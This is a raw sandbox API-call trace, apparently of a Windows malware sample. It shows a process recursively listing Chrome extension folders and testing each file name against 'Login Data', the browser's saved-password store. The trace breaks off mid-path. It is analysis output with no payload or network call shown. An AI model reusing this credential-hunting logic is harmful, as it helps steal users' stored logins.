lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0056.600] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*" [0056.600] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.600] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.601] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.601] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.601] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Login Data") returned 0x0 [0056.601] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0056.601] FindClose (in: hFindFile=0x2dc978 | out: hFindFile=0x2dc978) returned 1 [0056.601] LocalFree (hMem=0x2dc1d8) returned 0x0 [0056.601] LocalFree (hMem=0x2dc0c8) returned 0x0 [0056.601] FindClose (in: hFindFile=0x2dc938 | out: hFindFile=0x2dc938) returned 1 [0056.601] LocalFree (hMem=0x2dbeb8) returned 0x0 [0056.601] LocalFree (hMem=0x2dbdb8) returned 0x0 [0056.601] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.601] LocalFree (hMem=0x2dabb0) returned 0x0 [0056.601] LocalFree (hMem=0x2daab0) returned 0x0 [0056.601] lstrcmpiA (lpString1=".", lpString2="aohghmighlieiainnegkcijnfilokake") returned -1 [0056.601] lstrcmpiA (lpString1="..", lpString2="aohghmighlieiainnegkcijnfilokake") returned -1 [0056.601] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.601] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.601] lstrlenA (lpString="\\") returned 1 [0056.601] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2da9d0 [0056.601] lstrcpyA (in: lpString1=0x2da9d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.601] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.601] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.601] lstrlenA (lpString="aohghmighlieiainnegkcijnfilokake") returned 32 [0056.601] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2daab0 [0056.601] lstrcpyA (in: lpString1=0x2daab0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.601] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.601] LocalFree (hMem=0x2da9d0) returned 0x0 [0056.601] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.601] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.601] lstrlenA (lpString="\\*.*") returned 4 [0056.601] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2dabb0 [0056.601] lstrcpyA (in: lpString1=0x2dabb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.601] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*" [0056.601] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x21f3e0 | out: lpFindFileData=0x21f3e0) returned 0x2dc8f8 [0056.601] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.601] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.601] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.601] lstrcmpiA (lpString1=".", lpString2="0.0.0.6_0") returned -1 [0056.601] lstrcmpiA (lpString1="..", lpString2="0.0.0.6_0") returned -1 [0056.601] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.601] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.601] lstrlenA (lpString="\\") returned 1 [0056.601] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2dbcb8 [0056.602] lstrcpyA (in: lpString1=0x2dbcb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.602] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.602] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned 114 [0056.602] lstrlenA (lpString="0.0.0.6_0") returned 9 [0056.602] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2dbdb8 [0056.602] lstrcpyA (in: lpString1=0x2dbdb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.602] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0056.602] LocalFree (hMem=0x2dbcb8) returned 0x0 [0056.602] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.602] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.602] lstrlenA (lpString="\\*.*") returned 4 [0056.602] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x2dbec0 [0056.602] lstrcpyA (in: lpString1=0x2dbec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0056.602] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*" [0056.602] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*", lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 0x2dc938 [0056.602] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.602] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.602] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.602] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0056.602] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0056.602] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0056.602] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0056.602] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0056.602] lstrcmpiA (lpString1=".", lpString2="__MACOSX") returned -1 [0056.602] lstrcmpiA (lpString1="..", lpString2="__MACOSX") returned -1 [0056.602] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.602] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.602] lstrlenA (lpString="\\") returned 1 [0056.602] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x2dbfc8 [0056.602] lstrcpyA (in: lpString1=0x2dbfc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0056.603] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned 124 [0056.603] lstrlenA (lpString="__MACOSX") returned 8 [0056.603] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dc0d0 [0056.603] lstrcpyA (in: lpString1=0x2dc0d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0056.603] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\", lpString2="__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0056.603] LocalFree (hMem=0x2dbfc8) returned 0x0 [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned 132 [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned 132 [0056.603] lstrlenA (lpString="\\*.*") returned 4 [0056.603] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dc1e0 [0056.603] lstrcpyA (in: lpString1=0x2dc1e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0056.603] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*" [0056.603] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.603] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.603] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.603] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.603] FindClose (in: hFindFile=0x2dc978 | out: hFindFile=0x2dc978) returned 1 [0056.603] LocalFree (hMem=0x2dc1e0) returned 0x0 [0056.603] LocalFree (hMem=0x2dc0d0) returned 0x0 [0056.603] FindClose (in: hFindFile=0x2dc938 | out: hFindFile=0x2dc938) returned 1 [0056.603] LocalFree (hMem=0x2dbec0) returned 0x0 [0056.603] LocalFree (hMem=0x2dbdb8) returned 0x0 [0056.603] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0056.603] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.603] lstrlenA (lpString="\\") returned 1 [0056.603] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2dbcb8 [0056.603] lstrcpyA (in: lpString1=0x2dbcb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.603] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned 114 [0056.603] lstrlenA (lpString="0.9_0") returned 5 [0056.603] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x2dbdb8 [0056.603] lstrcpyA (in: lpString1=0x2dbdb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.603] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.603] LocalFree (hMem=0x2dbcb8) returned 0x0 [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.603] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.603] lstrlenA (lpString="\\*.*") returned 4 [0056.603] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2dbeb8 [0056.603] lstrcpyA (in: lpString1=0x2dbeb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.603] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*" [0056.603] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 0x2dc938 [0056.604] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.604] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.604] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.604] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0056.604] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0056.604] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0056.604] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0056.604] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0056.604] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.604] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.604] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.604] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.604] lstrlenA (lpString="\\") returned 1 [0056.604] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dbfc0 [0056.604] lstrcpyA (in: lpString1=0x2dbfc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.604] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.604] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned 120 [0056.604] lstrlenA (lpString="_locales") returned 8 [0056.604] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x2dc0c8 [0056.604] lstrcpyA (in: lpString1=0x2dc0c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.604] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 